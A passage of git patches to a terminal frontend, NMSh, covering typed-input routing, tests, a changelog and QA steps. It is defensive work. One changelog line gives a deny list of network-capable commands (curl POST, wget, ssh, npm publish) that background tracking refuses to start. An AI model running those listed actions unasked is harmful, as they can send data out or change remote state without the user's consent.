ended apply now, not those for one still running. + // held by a command that ended apply now, not those for one still running. Typing is type-ahead for the prompt + // only when the shell's done marker reached this window before it began (InputState.done): a look's idle says + // when the look sampled, not when the key was pressed. if (result === 'idle') hold.ended = true; // An older service never says what it saw: that is no evidence either, so its typing stays held (fail closed). const blind = result === 'unknown' || (result === 'hidden' && !this.inputState?.request) || result === undefined; diff --git a/src/session/InputWatch.ts b/src/session/InputWatch.ts index 9d6e2eab..b31b5ad5 100644 --- a/src/session/InputWatch.ts +++ b/src/session/InputWatch.ts @@ -119,7 +119,8 @@ export class InputWatch extends EventEmitter { } get state(): InputState { - return {...(this.reader && this.running ? {terminalOwner: true as const} : {}), ...(this.request ? {request: {...this.request}} : {}), timing: {waitedMs: this.waitedMs, waits: this.waits}}; + return {...(this.reader && this.running ? {terminalOwner: true as const} : {}), ...(this.done && this.running ? {done: true as const} : {}), + ...(this.request ? {request: {...this.request}} : {}), timing: {waitedMs: this.waitedMs, waits: this.waits}}; } /** Whether the current command's program owns the terminal (and so its own input). */ @@ -145,7 +146,9 @@ export class InputWatch extends EventEmitter { this.cancelTimer?.(); this.cancelTimer = undefined; this.generation += 1; - if (this.request) this.closeWait(at, true); + // Said once, with any wait it closes: what is begun from here on is for the prompt. + if (this.request) this.closeWait(at, false); + this.emit('change', this.state); } onExec(command: string, at = this.now()): void { diff --git a/src/session/SessionProtocol.ts b/src/session/SessionProtocol.ts index 7eec685e..0244e760 100644 --- a/src/session/SessionProtocol.ts +++ b/src/session/SessionProtocol.ts @@ -119,7 +119,7 @@ export type ServerMessage = * (a LookResult), from services that advertise 'input-look-result'; older frontends ignore it. */ | {type: 'input-looked'; id: number; result?: string} - | {type: 'input-state'; terminalOwner?: number; since?: number; confidence?: string; mode?: string; prompt?: string; program?: string; waitedMs: number; waits: number} + | {type: 'input-state'; terminalOwner?: number; done?: number; since?: number; confidence?: string; mode?: string; prompt?: string; program?: string; waitedMs: number; waits: number} /** This session's background tasks (TaskRecord[] as JSON), on attach and whenever one changes. */ | {type: 'tasks'; state: string} /** New output of one task (TaskUpdate as JSON). */ @@ -225,7 +225,7 @@ const SHAPES: Record = { output: {data: 'string', seq: 'int?', at: 'int?'}, exec: {command: 'string', seq: 'int', at: 'int', historyAllowed: 'int?', queued: 'string?'}, prompt: {exitCode: 'int', cwd: 'string', knowledge: 'string?', seq: 'int?', at: 'int?', inputWaitMs: 'int?', inputWaits: 'int?'}, - 'input-state': {terminalOwner: 'int?', since: 'int?', confidence: 'string?', mode: 'string?', prompt: 'string?', program: 'string?', waitedMs: 'int', waits: 'int'}, + 'input-state': {terminalOwner: 'int?', done: 'int?', since: 'int?', confidence: 'string?', mode: 'string?', prompt: 'string?', program: 'string?', waitedMs: 'int', waits: 'int'}, replayed: {truncatedBytes: 'int'}, killed: {sessionId: 'string'}, exit: {exitCode: 'int', signal: 'int?'}, @@ -322,7 +322,7 @@ export class FrameDecoder { export function inputStateMessage(state: InputState): Extract { const request = state.request; return {type: 'input-state', waitedMs: Math.round(state.timing.waitedMs), waits: state.timing.waits, - ...(state.terminalOwner ? {terminalOwner: 1} : {}), + ...(state.terminalOwner ? {terminalOwner: 1} : {}), ...(state.done ? {done: 1} : {}), ...(request ? {since: request.since, confidence: request.confidence, mode: request.mode, ...(request.prompt ? {prompt: request.prompt.slice(0, 200)} : {}), ...(request.program ? {program: request.program.slice(0, 64)} : {})} : {})}; } @@ -332,9 +332,10 @@ export function inputStateFrom(message: Extract item === message.confidence); const mode = INPUT_MODES.find(item => item === message.mode); const timing = {waitedMs: message.waitedMs, waits: message.waits}; - if (message.terminalOwner === 1) return {terminalOwner: true, timing}; - if (message.since === undefined || !confidence || !mode) return {timing}; - return {request: {since: message.since, confidence, mode, ...(message.prompt ? {prompt: message.prompt} : {}), ...(message.program ? {program: message.program} : {})}, timing}; + const done = message.done === 1 ? {done: true as const} : {}; + if (message.terminalOwner === 1) return {terminalOwner: true, ...done, timing}; + if (message.since === undefined || !confidence || !mode) return {...done, timing}; + return {...done, request: {since: message.since, confidence, mode, ...(message.prompt ? {prompt: message.prompt} : {}), ...(message.program ? {program: message.program} : {})}, timing}; } /** A queue change from a frontend, or undefined when it is not one: every field checked, nothing guessed. */ diff --git a/src/session/inputState.ts b/src/session/inputState.ts index c87b241a..8ee50ac8 100644 --- a/src/session/inputState.ts +++ b/src/session/inputState.ts @@ -35,6 +35,11 @@ export interface InputTiming { export interface InputState { /** The shell explicitly entered its interactive reader; ownership lasts until the next prompt. */ terminalOwner?: true; + /** + * The shell's authenticated done marker: the command has finished and its prompt hooks run (#436). Nothing begun + * after this is the command's input; it is type-ahead for the prompt (#426). Absent from older services. + */ + done?: true; request?: InputRequest; timing: InputTiming; } diff --git a/tests/inputQuarantine.test.ts b/tests/inputQuarantine.test.ts index 64427e96..a332e460 100644 --- a/tests/inputQuarantine.test.ts +++ b/tests/inputQuarantine.test.ts @@ -289,3 +289,40 @@ test('a held line at the head of the queue never holds the prompt: a command sub assert.equal(f.owner.state.entries.length, 1, 'the held line still waits'); } finally { f.dispose(); } }); + +test('a line started after the shell said the command is done (its prompt hooks still run) is type-ahead: it runs once at the prompt', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('true'); + // The command is over (the shell's done marker); a slow prompt hook holds the prompt back. + f.session.emit('inputState', {done: true, timing: {waitedMs: 0, waits: 0}}); + f.type('echo after'); + f.answer('idle'); await settled(); + f.enter(); + f.answer('idle'); await settled(); + // Longer than the Ctrl+C window: a slow hook is not a stop, and nothing settles by time. + f.tick(3000); t.mock.timers.tick(3000); await settled(); + assert.deepEqual(f.owner.state.entries, [], 'not held for approval'); + assert.equal(f.written.some(data => data.includes('echo after')), false, 'never written before the prompt'); + f.complete(0); await settled(); + assert.deepEqual(f.submitted, ['echo after'], 'runs once, at the verified prompt'); + } finally { f.dispose(); } +}); + +test('a line started while the command still ran, entered after it said done: held for approval, never run at the prompt', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('read -t 1 code; sleep 2'); + f.type('123456'); + f.answer('visible'); await settled(); + // Done arrives after the line was begun: a reply to the read that just gave up, perhaps. + f.session.emit('inputState', {done: true, timing: {waitedMs: 0, waits: 0}}); + f.enter(); + f.answer('idle'); await settled(); + f.complete(0); await settled(); + assert.deepEqual(f.submitted, []); + assert.equal(f.entry('123456')?.condition, 'approve'); + } finally { f.dispose(); } +}); diff --git a/tests/promptHookLive.test.ts b/tests/promptHookLive.test.ts index d61721d0..fedd0d2e 100644 --- a/tests/promptHookLive.test.ts +++ b/tests/promptHookLive.test.ts @@ -52,3 +52,30 @@ for (const shell of ['zsh', 'bash'] as const) { } finally { await sandbox.dispose(); } }); } + +for (const shell of ['zsh', 'bash'] as const) { + const available = supported && (shell === 'zsh' || bash); + test(`live ${shell}: a command typed and entered during a slow prompt hook runs once at the prompt, never held or lost (#426, #436)`, {skip: available ? false : `${shell} not available`, timeout: 120_000}, async () => { + const sandbox = new LiveSandbox({provider: 'none', shellBackend: shell}, shell === 'bash' && bash ? {PATH: `${bash.replace(/\/bash$/u, '')}:${process.env.PATH}`} : {}); + const [file, content] = SLOW_HOOK[shell]; + writeFileSync(join(sandbox.home, file), content); + const frontend = sandbox.launch([], {cols: 120, rows: 36}); + try { + await frontend.waitFor(/zsh|bash/u); + await until(async () => (await sandbox.sessions()).some(session => session.lastExit !== undefined), 30_000, 'the first prompt'); + await frontend.run('echo READY', /READY/u); + writeFileSync(join(sandbox.home, 'slow'), ''); + const mark = frontend.mark; + frontend.pty.write('true\r'); + // The shell's done marker comes at once; the hook then holds the prompt for 2 s. + await pause(700); + for (const char of 'echo DURING-HOOK') { frontend.pty.write(char); await pause(20); } + frontend.pty.write('\r'); + await until(async () => (await sandbox.transcripts().list()).flatMap(session => session.transcript.records) + .filter(record => record.command === 'echo DURING-HOOK').length === 1, 15_000, 'the line to run once at the prompt'); + const shown = strip(frontend.output.slice(mark)); + assert.doesNotMatch(shown, /never runs by itself|waits for your approval/u, 'begun after the command was done: not held'); + assert.doesNotMatch(shown, /(? { + const {InputWatch} = await import('../src/session/InputWatch.js'); + const {inputStateMessage, inputStateFrom, decodeMessage, encodeMessage} = await import('../src/session/SessionProtocol.js'); + const watch = new InputWatch({now: () => 10}); + const states: unknown[] = []; + watch.on('change', state => states.push(state)); + watch.onExec('true', 1); + watch.onDone(5); + assert.deepEqual(states.at(-1), {done: true, timing: {waitedMs: 0, waits: 0}}); + const wire = decodeMessage(encodeMessage(inputStateMessage(watch.state)).trimEnd()); + assert.equal(wire.ok, true); + assert.deepEqual(inputStateFrom((wire as {message: Parameters[0]}).message), {done: true, timing: {waitedMs: 0, waits: 0}}); + watch.onPrompt(6); + assert.equal(watch.state.done, undefined, 'the prompt ends it'); +}); From 4f1107cb265bb4f59628cd5e58e8372e3b36fa0d Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 22:00:44 +0530 Subject: [PATCH 099/157] Input ownership: a program that survives Ctrl+C gets the line typed for it; held-back reports apply first (#426) When the stop window ends with the program still running, the lines held since Ctrl+C go to it, as a terminal delivers type-ahead: on macOS NMSh cannot see a read after Ctrl+C, because the terminal's echoed ^C ends the question-shaped line. What it never reads is taken back at the end of the command and held for approval, so the line still never runs as a command. A question report held back during the window applies before the window settles, whatever order the two timers have. Live test: a bash survivor answered with the line typed right after Ctrl+C. QA and changelog: R4 rewritten, R5-R7 replace A9, A10, A1 (steps 1-3, 6) and B1 for the hardened candidate; fixtures for a timed prompt and a survivor. The changelog describes the new routing, its limits and Fish 3. --- CHANGELOG.md | 22 ++++--- docs/testing/v022-physical-qa.md | 92 ++++++++++++++++++++++++------ scripts/qa/v022-retest-fixtures.sh | 18 ++++++ src/app/TerminalApp.ts | 23 ++++++-- tests/inputOwnershipLive.test.ts | 18 ++++++ tests/inputQuarantine.test.ts | 32 ++++++++++- 6 files changed, 170 insertions(+), 35 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 1d897cc6..1a945271 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -33,6 +33,7 @@ This is a release candidate: it is published only after its physical-terminal QA ### Changed +- **A line entered with Enter while a command runs waits for your approval; Ctrl+Q queues a command to run after it** ([#426](https://github.com/raiseCatError/notMyShell/issues/426)). While a command runs and NMSh sees no question, Enter used to queue the line to run by itself after the command. That line can be the command's reply to a read NMSh never saw, and nothing about its text tells the two apart (`yes`, `ls`, a one-time code and `X=1` are all valid replies), so it is now held: the queue shows it as `(typed while make ran)`, never by its text, and it runs only once you approve it at the prompt (Enter reviews it, Tab shows it, Enter approves; `e` edits; `n` pauses the queue). **Ctrl+Q** is the explicit way to queue a command to run after, as before. The composer says so while a command runs: `Enter holds it for approval · Ctrl+Q runs it after · Ctrl+S sends to make`. A line typed right after Ctrl+C or Ctrl+Z is for the prompt the stop brings back: it runs there once the prompt is back. If the program survived the stop, the line goes to it instead (at once if it asks, else when the moment of the stop has passed, about 2 s); what it never reads waits for approval. A line begun while a slow prompt hook holds the prompt back, after the shell said the command is done, runs at the prompt. - **Up and Down step through history one command at a time, however many lines a command has** ([#389](https://github.com/raiseCatError/notMyShell/issues/389)). Once Up has recalled a command, each Up or Down moves to the next older or newer command, even when the recalled one spans several lines or wraps; before, a recalled five-line command took five extra presses to pass. Typing, pasting, deleting, moving the caret or selecting in a recalled command makes it a draft again, where Up and Down move between its lines as before, and Down past the newest command restores exactly what you had typed. Editing a fresh multi-line draft is unchanged. - While you step through history, the bottom composer rule shows where you are: `History 2/120`, counted back from the newest command. It sits on a rule that is already there (the top one when the bottom one is not free), in the same subtle color as other text on those rules, and never covers Keep Awake or the prompt. It never adds a row or moves anything; with no free rule, or no room on it, it is not shown. @@ -48,13 +49,15 @@ This is a release candidate: it is published only after its physical-terminal QA - Paste review and `/track`: a redirect into a file is recognized wherever `>/dev/null` also appears (`echo x > ~/.zshrc 2>/dev/null` was labelled read-only), and `>|` is a redirection, not a pipe. - `/track` and `/watch` no longer start, without asking, commands that change things through the network or another command: `env `, `NAME=value` prefixes, git's `-c`/`--ext-diff`, `npm publish`/`login`/`x`, `pnpm dlx`, `ssh`, `curl -X POST`/`-d`/`-o file`, plain `wget`; options that write files (`git … --output`, `sort -o`, `jest -u`, `--fix`) are refused. Read-only probes (`ping`, `dig`, `nc -z`, a curl GET) still start at once, and `npm test 2>&1` is no longer refused as a background job ([#393](https://github.com/raiseCatError/notMyShell/issues/393)). - `/track stop` and a closing window end every process a tracked command left in its process group, including one that ignored TERM; a tracker whose directory disappeared names it instead of reporting `spawn /bin/sh ENOENT`. +- **Fish 3: NMSh no longer interrupts Fish's own output** ([#443](https://github.com/raiseCatError/notMyShell/issues/443)). The shell's terminal size followed NMSh's own layout, so a command starting or ending, a growing composer, a completion menu, a notice or Settings each resized it and signalled the running program (SIGWINCH); Fish 3 does not retry a terminal write that signal interrupts, and lost part of its output (`write: Interrupted system call`). The terminal's size now comes from the window and the configured layout only, and while a command runs only a real change of the window resizes it. Full-screen programs still get the whole window; the transcript can be a few rows shorter than the terminal, as it already was under Dock Top, and shows the newest rows. - A command typed while the shell was showing its prompt again (after Ctrl+C, or after any command when a prompt hook is slow, as a heavy theme or `nvm` can be) no longer loses its beginning ([#436](https://github.com/raiseCatError/notMyShell/issues/436)). NMSh no longer reads the shell's own prompt hooks as the finished command waiting for input (`Probably waiting for input` while the prompt came back), and a late report of the question Ctrl+C ended no longer turns what you typed after it into a discarded reply; the rest of the line used to run on its own (`cho Y …`, command not found). ### Security - **Passwords and other replies are never shown, queued or run as a command on a guess.** Typing while a command runs can no longer be shown, queued or run as a command before NMSh knows whether that command reads it ([#426](https://github.com/raiseCatError/notMyShell/issues/426)). On a heavily loaded machine a reply typed right after starting a prompt-less read (`read -r reply`, `read -s`) used to be queued, and a password could be queued as a shell command or shown in the composer. Keys now wait for NMSh's check (`Checking whether … · your typing is kept` after 0.8 s). When the check cannot tell, the typing stays held and hidden — `Can't tell whether is reading your typing` — until you choose: Ctrl+S sends it to the program, Tab shows it in the composer, Esc discards it. Input with echo turned off is never drawn, whatever else NMSh knows. Ctrl+C discards held typing, as a terminal flushes its input. When a command ends while typing is held for its check, including before its prompt returns while the shell's prompt hooks run, typing that may have been a reply or a password is discarded with a note, never run; plain type-ahead that the check cleared at once stays for the next command. After NMSh answers a hidden question, typing that a check still finds next to hidden input may be the reply to a second question with no prompt: if the command ends first, it waits at the prompt, hidden (`held, not run · Tab shows it · Esc discards it`), and only your Tab and Enter run it. A reply typed and entered before a question with no prompt existed is queued like any command (NMSh could not know); once the command asks for input that NMSh sees, hidden or not, the commands queued while it ran wait for your approval instead of running after it. Tab shows held typing as text only: a Ctrl+Q or any other key typed while it was held never queues, sends or runs it. A password typed in the composer before the program printed its prompt (as with `sudo`) leaves the composer when the program asks for hidden input, is never sent as the answer, and is held at the prompt when the command ends; an Enter typed with it is dropped rather than sent as an empty answer. Type-ahead on an idle machine is unchanged. -- **A reply entered before a question NMSh never saw does not run as a command** ([#426](https://github.com/raiseCatError/notMyShell/issues/426)). A line entered while a command runs, before any question, is queued (nothing has asked yet). If that command's read gave up between NMSh's looks (a timed `read`, or a program's read macOS cannot report) and the command succeeded, the line used to run as a shell command, reaching the shell's history. A line that does not start with a command this shell knows (an alias, function, builtin, keyword or executable) would only fail as a command, so it now waits for your approval in `/queue`, with a note that never repeats its text. Real commands, function definitions and assignments typed ahead still run after the command. -- A window attached to a session service from an older NMSh says that what you type while a command runs is routed as that version did, and when the service restarts. +- **No reply becomes a shell command by itself** ([#426](https://github.com/raiseCatError/notMyShell/issues/426)). A line entered while a command runs, before a question NMSh saw, is held for your approval (see Changed), whatever it looks like: a reply that is itself a command name (`yes`, `sudo`, `ls`), a one-time code or an assignment used to run after the command succeeded when its read gave up unseen. The session's owner enforces the hold, not only the window: such an entry cannot be set to run by itself, and is shown as where it came from until you show it. It is never offered again by Up and never reaches the shell's history or NMSh's journal unless you approve it. Keys held while NMSh checked who reads them, whose command then ended, are held the same way instead of running at the prompt. +- **Typing a command never read cannot reach the shell** ([#426](https://github.com/raiseCatError/notMyShell/issues/426)). Input NMSh delivers to a program (an answer, keys for its own interface) that the program never reads stays in the terminal when its command ends; the shell then read a whole line as its next command and glued a partial one (a password typed into a read that timed out) onto the command NMSh submitted next. Now, when NMSh delivered input to a command, the shell's first prompt hook takes whatever is left out of the terminal (with `stty`, `head` and `od`, before it reads its next command line) and hands it to NMSh, which holds each line for your approval; input that arrives once the shell says the command is done is held and never written. zsh, Bash and Fish. +- **An older session service fails closed** ([#426](https://github.com/raiseCatError/notMyShell/issues/426)). A window attached to a service from an older NMSh (v0.20.0's), which cannot say what its checks saw, holds typing while a command runs, hidden, until you choose (Ctrl+S, Tab or Esc), and a line entered then waits for approval; the window says so, says what remains, and that the service restarts once its sessions end. ### Compatibility - Node.js 22 or newer; zsh, Bash 4.4+ and Fish, as in v0.20.0. CI covers Node 22 and 26 on Ubuntu, Node 26 on macOS, and a Linux portability subset on Fedora. @@ -65,6 +68,7 @@ This is a release candidate: it is published only after its physical-terminal QA - **From v0.20.0** (v0.21.0 was never published): settings, themes, modules, sessions and history carry over; existing theme ids and saved choices are unchanged, and Lavender stays the default. - Semantic Output is on for every configuration that has not turned it off (Settings → Transcript → Semantic Output). The Bun, Nix shell and container modules are off until enabled in `/modules`; Ask's command suggestions are off until Settings → Ask → Command suggestions → Local model. - End the sessions of a v0.20 session service (or restart it once they end) to get the input protections and the background-task fix. +- **Queueing while a command runs:** use Ctrl+Q for a command you want to run after the one running. A plain Enter now holds the line for your approval at the prompt. - Homebrew: `brew upgrade raiseCatError/tap/nmsh` installs whatever version the tap's formula points to; check `nmsh --version`. ### Known limitations @@ -75,16 +79,18 @@ This is a release candidate: it is published only after its physical-terminal QA - `/modules explain` covers the Context Rail and Status Strip; the Main Prompt has no per-segment truncation trace ([#365](https://github.com/raiseCatError/notMyShell/issues/365)). - Oxocarbon, GitHub Primer, Material/Palenight and Monokai are deferred, with reasons in `docs/design/theme-families.md` ([#401](https://github.com/raiseCatError/notMyShell/issues/401)). - **Input while a command runs** ([#426](https://github.com/raiseCatError/notMyShell/issues/426), [#436](https://github.com/raiseCatError/notMyShell/issues/436)). What NMSh can and cannot tell: - - *A reply to a `read` NMSh has not seen yet* (no prompt, echo on, on a heavily loaded machine) can be taken for the next command: the line is shown and queued, never sent to the program. When NMSh sees the question, that entry waits for your approval; it runs on its own only in the unseen case below. - - *Input entered before the program asks anything* is queued like any command and shown, as a terminal would echo it. If the command later asks a question NMSh sees, those entries wait for approval. NMSh looks at a running command 0.15–2.5 s after it starts, then every 3 s (every 10 s after a minute), and macOS cannot report a program's read at all: a read that gives up unseen leaves those entries queued. A line that does not start with a command this shell knows waits for approval; one that does (a reply that is itself a command name, such as `yes`) runs after the command succeeds. + - *Nothing typed while a command runs becomes a shell command by itself:* a line entered then waits for approval, typing the command never read is taken back from the terminal when it ends and waits for approval, and a line after Ctrl+C runs only at the prompt the stop brings back. What runs by itself is what you submit at the prompt, queue with Ctrl+Q, or approve. + - *A reply to a read NMSh has not seen yet* (no prompt, echo on, on a loaded machine, or any program's read on macOS) is held for approval instead of reaching the program: the program keeps waiting until you answer it again or send the line with Ctrl+S. A line typed after Ctrl+C for a question the program asks without NMSh seeing it, which then gives up before the program ends, still runs at the prompt. + - *An answer NMSh sends to a question it sees* reaches the terminal at once. If the program stops reading in the same instant (a timed read giving up exactly then), NMSh cannot take back what the kernel already holds, but the shell's prompt hook takes it out before reading its next command, and NMSh holds it. Input sent within the instant between the shell finishing the command and NMSh learning so (well under a millisecond on an idle machine) can still reach the shell; that window is the limit of what a terminal frontend can see. - *Hidden input* (echo off) is never shown, queued or run on a guess. Typing NMSh cannot place is held until NMSh sees the program's question (then it goes to the program, as its answer) or you choose (while the command runs: Ctrl+S sends it, Tab shows it, Esc discards it; at the prompt: Tab or Esc); a command that ends while typing was held past 0.8 s discards it. - - *History:* typed input reaches your shell's history and NMSh's journal only when it runs as a command (a composer line you submit, or a queue entry that runs); the transcript also shows what a program echoes back (a visible reply), never hidden input. Held typing and entries waiting for approval stay in memory and are never written to disk. - - *Prompt hooks:* zsh's single `precmd` function and Fish's other `fish_postexec` handlers run before NMSh's done marker, so a slow hook there can still be read as the command waiting. A session service from v0.20 routes typing as before. -- Keys typed *during* a Fish `read` stay subject to Fish's own editor queries ([#356](https://github.com/raiseCatError/notMyShell/issues/356)). + - *History:* typed input reaches your shell's history and NMSh's journal only when it runs as a command (a composer line you submit, a Ctrl+Q entry or one you approve); the transcript also shows what a program echoes back (a visible reply), never hidden input. Held typing and entries waiting for approval stay in memory and are never written to disk. + - *Prompt hooks:* zsh's single `precmd` function and Fish's other `fish_postexec` handlers run before NMSh's done marker, so a slow hook there can still be read as the command waiting (`Probably waiting for input`). What you type then is held for approval or taken back at the hook, never run by itself. + - *An older session service* (v0.20) has none of the shell-side protections: typing a program receives but never reads can still reach the shell there. This window fails closed (see Security) until the service restarts. +- Keys typed *during* a Fish `read` stay subject to Fish's own editor queries ([#356](https://github.com/raiseCatError/notMyShell/issues/356)). Keys typed after its answer, before the prompt is back, are no longer read by Fish as the next command: they are taken back when the command ends and wait for approval, never lost. - Ask's command suggestions use your local model only; remote providers are not part of this release ([#432](https://github.com/raiseCatError/notMyShell/issues/432)). A suggestion is only as good as the model: the small recommended model (Qwen3 0.6B) often suggests an imprecise command or none; NMSh labels each one with its own check and never runs it. - `/view` renders a subset of HTML: CSS layout, forms, embedded media and image graphics are not shown (an image is its alt text, with no terminal-graphics preview), and HTML that NMSh cannot read stays readable with `m`. - Linux stays beta: automated CI on Ubuntu and Fedora, no physical pass. Everything listed under v0.20.0's known limitations still applies. -- **Linux (beta) with Fish 3** ([#443](https://github.com/raiseCatError/notMyShell/issues/443), open; shown with Fish 3.7.0 on Ubuntu 24.04). Fish 3 does not retry a terminal write that a window-size change interrupts, and NMSh changes the shell's terminal size whenever its own rows change (a command starting, the queue, notices). NMSh's own markers no longer go through that write on Fish 3: they are written by `cat`, which a window-size change does not interrupt ([#449](https://github.com/raiseCatError/notMyShell/pull/449)), so NMSh no longer loses track of a running command there. Output that Fish itself writes (`echo`, `printf`, `string` and functions using them) can still lose a write when the two coincide: part of it is missing, with `write: Interrupted system call` in its place. Programs Fish starts are not affected, nor are Fish 4, zsh and Bash. Also in v0.20.0. +- **Linux (beta) with Fish 3** ([#443](https://github.com/raiseCatError/notMyShell/issues/443); shown with Fish 3.7.0 on Ubuntu 24.04). Fish 3 does not retry a terminal write that a window-size change interrupts. NMSh no longer causes one (see Fixed), and its own markers on Fish 3 go through `cat`, which does not lose them ([#449](https://github.com/raiseCatError/notMyShell/pull/449)). A real resize of the window while Fish itself writes output (`echo`, `printf`, `string`) can still lose part of that output, with `write: Interrupted system call` in its place: that is Fish 3's own handling of the signal, which NMSh cannot change and which happens in any terminal. Fish 4, zsh and Bash retry. ## [0.20.0] - 2026-10-18 diff --git a/docs/testing/v022-physical-qa.md b/docs/testing/v022-physical-qa.md index 52a318b9..b4da0bd8 100644 --- a/docs/testing/v022-physical-qa.md +++ b/docs/testing/v022-physical-qa.md @@ -4,6 +4,8 @@ One walkthrough for the v0.22.0 release candidate (#444). It replaces [v0.21 phy (never run; v0.21.0 is not published) and the per-PR v0.22 passes. Sittings A and part of B were run on candidate `68c1cbb7` (results below); the person running QA then stopped repetitive manual testing, and the remaining passes are recorded as not run. Fixes made after that QA have their own short retests (see Retests after the stabilization fixes). +The final hardening pass (#457) then changed how typing while a command runs is routed and how NMSh sizes the shell's +terminal: A1, A9, A10 and B1 no longer stand for the new candidate and are replaced by R5–R7. - **What counts:** a person at a real terminal, with a real keyboard and pointer. Headless tests, synthetic keys and green CI do not count, and no row is marked from them. @@ -40,7 +42,7 @@ recorded as not run. Fixes made after that QA have their own short retests (see | Pass | Terminal | Shell | Commit | Result | Notes | |---|---|---|---|---|---| -| A1 Progress (#388) | Ghostty | zsh | 68c1cbb7 | PASS | | +| A1 Progress (#388) | Ghostty | zsh | 68c1cbb7 | PASS | steps 1–3 and 6 superseded by R7 (shell terminal size changed, #457) | | A2 `/view` | Ghostty | zsh | 68c1cbb7 | PASS | embedded HTML shown literally: F01, see R3 | | A3 `/edit` | Ghostty | zsh | 68c1cbb7 | PASS | | | A4 Semantic Output | Ghostty | zsh | 68c1cbb7 | PASS | | @@ -48,13 +50,13 @@ recorded as not run. Fixes made after that QA have their own short retests (see | A6 Modules | Ghostty | zsh | 68c1cbb7 | PASS | `cd` + `/modules` pasted: F02, see R2 | | A7 Themes | Ghostty | zsh | 68c1cbb7 | PASS | | | A8 History (#389) | Ghostty | zsh | 68c1cbb7 | PASS | | -| A9 Passwords and replies (#426) | Ghostty | zsh | 68c1cbb7 | PASS | step 9 (CPU load) not run (machine constraints); queue overview hidden during the wait: F03 | -| A10 Prompt hooks and Ctrl+C (#436) | Ghostty | zsh | 68c1cbb7 | PASS | | +| A9 Passwords and replies (#426) | Ghostty | zsh | 68c1cbb7 | PASS | step 9 (CPU load) not run (machine constraints); queue overview hidden during the wait: F03. Superseded by R5 (routing changed, #457) | +| A10 Prompt hooks and Ctrl+C (#436) | Ghostty | zsh | 68c1cbb7 | PASS | superseded by R6 (routing changed, #457) | | A11 Editors (#366) | Ghostty | zsh | 68c1cbb7 | PASS | | | A12 Ask suggestions (#432) | Ghostty | zsh | 68c1cbb7 | **FAIL** | the folder listing instead of a suggestion: F04 (#446), see R1 | | A13 Session lifecycle | Ghostty | zsh | 68c1cbb7 | PASS | | | A14 No color and Safe glyphs | Ghostty | zsh | 68c1cbb7 | PASS | | -| B1 Progress | Terminal.app | Fish | 68c1cbb7 | PASS | | +| B1 Progress | Terminal.app | Fish | 68c1cbb7 | PASS | superseded by R7 step 4 (#457) | | B3 `/edit` keys | Terminal.app | Fish | 68c1cbb7 | PASS | | | B5 `/track` cleanup | Terminal.app | Fish | | NOT RUN | user waived/deferred further manual QA | | B8 History | Terminal.app | Fish | | NOT RUN | user waived/deferred further manual QA | @@ -69,7 +71,10 @@ recorded as not run. Fixes made after that QA have their own short retests (see | R1 Ask suggestions (F04) | Ghostty | zsh | | Not run | retest on the new candidate | | R2 Pasted NMSh commands (F02) | Ghostty | zsh | | Not run | retest on the new candidate | | R3 HTML in `/view` (F01) | Ghostty | zsh | | Not run | retest on the new candidate | -| R4 Typing before an unseen read (#426) | Terminal.app | Fish, Bash | | Not run | retest on the new candidate | +| R4 Typing while a command runs (#426, #436) | Terminal.app | Fish, Bash | | Not run | retest on the new candidate (rewritten for #457) | +| R5 Passwords and replies (#426, replaces A9) | Ghostty | zsh | | Not run | retest on the new candidate | +| R6 Prompt hooks and Ctrl+C (#436, replaces A10) | Ghostty | zsh | | Not run | retest on the new candidate | +| R7 Progress and window size (#443, replaces A1 1–3, 6 and B1) | Ghostty, Terminal.app | zsh, Fish | | Not run | retest on the new candidate | **NOT RUN is not PASS.** The nine required passes above were not performed; if the release goes ahead without them, that is a recorded acceptance of their risk (below), not a result. @@ -88,10 +93,13 @@ is a recorded acceptance of their risk (below), not a result. 2 min), then B10 and C10 (prompt hooks in Fish and Bash, 4 min). B5, B8, C2 and C7 repeat Ghostty-proven drawing and can reasonably be waived. -## Retests after the stabilization fixes (about 30 minutes) +## Retests after the stabilization fixes (about 60 minutes) -The candidate changed after the QA above (fixes for F01–F04 and #426, #443; see the ledger). Only what those changes -touch is retested; every other result above stands for the new candidate. +The candidate changed after the QA above (fixes for F01–F04 and #426, #443; then the hardening pass #457; see the ledger). +Only what those changes touch is retested; every other result above stands for the new candidate. **What changed for +you in #457:** while a command runs, a plain Enter holds the line for your approval (shown as `(typed while … ran)`, +never by its text) and **Ctrl+Q** queues a command to run after; a line typed right after Ctrl+C runs once the prompt is +back; typing a program never reads is taken back when it ends and waits for approval. **Build:** a separate QA build at the new candidate, so `68c1cbb7`'s build stays as it was: @@ -151,17 +159,61 @@ NMSh, `exit` every `nmsh2` window and start again. **PASS** if all hold. -### R4 · Typing before a read nobody sees (#426), Terminal.app, Fish then Bash, 10 min +### R4 · Typing while a command runs (#426, #436), Terminal.app, Fish then Bash, 12 min Launch `nmsh2 fish`; then repeat in `nmsh2 bash`. -1. `bash retest/timed-read.sh`, and during its 2 s sleep type `QRETESTQ` and Enter: `≡ 1 queued`, and a note says the - line does not start with a command this shell knows and waits for your approval (the note never shows the word). - `QA-TIMED-DONE` prints; the entry does **not** run. `/queue`: delete it. -2. The same, typing `echo next-ok` instead: it runs once after `QA-TIMED-DONE`. -3. A9 steps 2, 5 and 6 in that shell (Fish: `read --silent reply` for step 2). -4. Fish: `history | head -30`; Bash: `history | tail -30`: no `QRETESTQ` or `QSECRETQ`. - -**PASS** if no reply word ever runs, is shown after its question appeared, or reaches history. This also covers the -input-security part of B9 and C9. +1. R5 steps 2, 3 and 4 in that shell. +2. R5 step 5 (`bash retest/timed-prompt.sh`). +3. R6 steps 1 and 3; for step 4 in Fish use `function qa_slow --on-event fish_prompt; sleep 2; end` (undo with + `functions -e qa_slow`), in Bash `source input/slow-hook.bash`. +4. Fish: `history | head -30`; Bash: `history | tail -30`: no `QRETESTQ`, `123456` or other reply word. + +**PASS** if no reply word ever runs by itself or reaches history, and every command you meant (Ctrl+Q, approved, or +typed after Ctrl+C or during a slow hook) runs exactly once. This also covers the input-security part of B9 and C9. + +### R5 · Passwords and replies (#426, replaces A9), Ghostty, zsh, 14 min +Replies are made-up words, never a real password (only step 8 uses yours). +1. A9 steps 1 and 2 (a waiting `read`, a hidden `read -rs`): unchanged. +2. `sleep 5`: the empty composer says `Enter holds it for approval · 